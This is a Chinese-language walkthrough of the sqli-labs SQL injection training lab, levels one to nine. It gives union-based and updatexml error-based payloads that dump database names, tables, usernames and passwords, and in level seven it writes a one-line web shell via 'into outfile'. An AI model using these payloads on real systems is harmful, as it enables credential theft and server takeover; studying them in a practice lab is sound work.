一、1、SQL注入原理:sql语句未经查询直接带入数据库查新,sql注入攻击其实就是服务端的攻击,它与操作系统、服务器类型、脚本语言无关
2、sql注入类型:分为数字型、字符型、搜索型、xx型
3、注入提交方式:get提交、post提交、cookie提交。
4、注入攻击提交支持的类型
union注入、information_schema、宽字节注入、报错注入、盲注,这里的盲注分为三种,分别是
布尔型盲注、时间型盲注、报错型盲注。
updatexml注入分为 insert注入、update注入、delete注入。
二、第一关
字符型注入
第一关很明显注入,利用?id=1判断注入点
第二关
和第一关很相似,也是数字型注入,和一贯不同的是第一关多了id=1'多了一个引号这里不多说了,
其次利用order by 4--+推出只有3列字段,然后利用union查询看是否有回显。
第三关
首先和第二关类似,通过order by 3来判断这个注入点,然后利用
or 1=1--+
or 1=1来判断注入
最后来利用函数union与group_concat查询
第四关
1、首先查看是否有注入点,id=1",显示报错多一个双引号,然后利用右括号闭合掉。
第一张图可以看出报错回显信息多一个双引号。
第二张图多一个右括号,尝试用右括号闭合掉。
2、如下图所示,然后利用order by 查看有多少列,在order by 40显示列不存在,说明只存在3列。
3、查看所用的数据库。
4、查看所有的表。
5、 查看所有的列信息。
6、直接爆出得到所有的账户和密码信息。
第五关
利用布尔盲注--报错注入有(update、dalete、insert、updatexml)
方法一、利用0x7e隔离,updatexml报错注入。
id=2' and updatexml(1,concat(0x7e,(select user()),0x7e),1)%23
方法二、利用xpath extractvalue函数报错注入,爆出当前数据库的版本信息。
第六关
本关利用报错注入,这一关使用的是双引号闭合,使用的是updatexml函数。
?id=1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
爆库名:
?id=1" union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆表名:
?id=1" union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+
爆用户名:
?id=1" union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+
爆密码:
?id=1" union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+
第七关
本关利用文件的导入导出方式进行注入。
1、首先查看数据库的绝对路径。
查看设置serure_file_prive权限,设置指定路径,这里是在H盘下。
在my.ini配置文件下修改添加设置。
secure_file_priv="H:\"
H:\phpstudy_pro\WWW\sqli-labs-master\Less-7
2、 然后利用UNSION SELECT 1,2,3 into outfile在路径下导入txt文件。
3、在文件222.txt写入一句话木马
4、在本地文件中可以看见写的一句话木马已经写入进去了。
打开hxz.php网页,可以看见一句话木马被隐藏了。
最后再用菜刀dengwebshell管理工具连接即可。
第八关
本关利用延时注入
第九关和第八关类似,基于时间注入。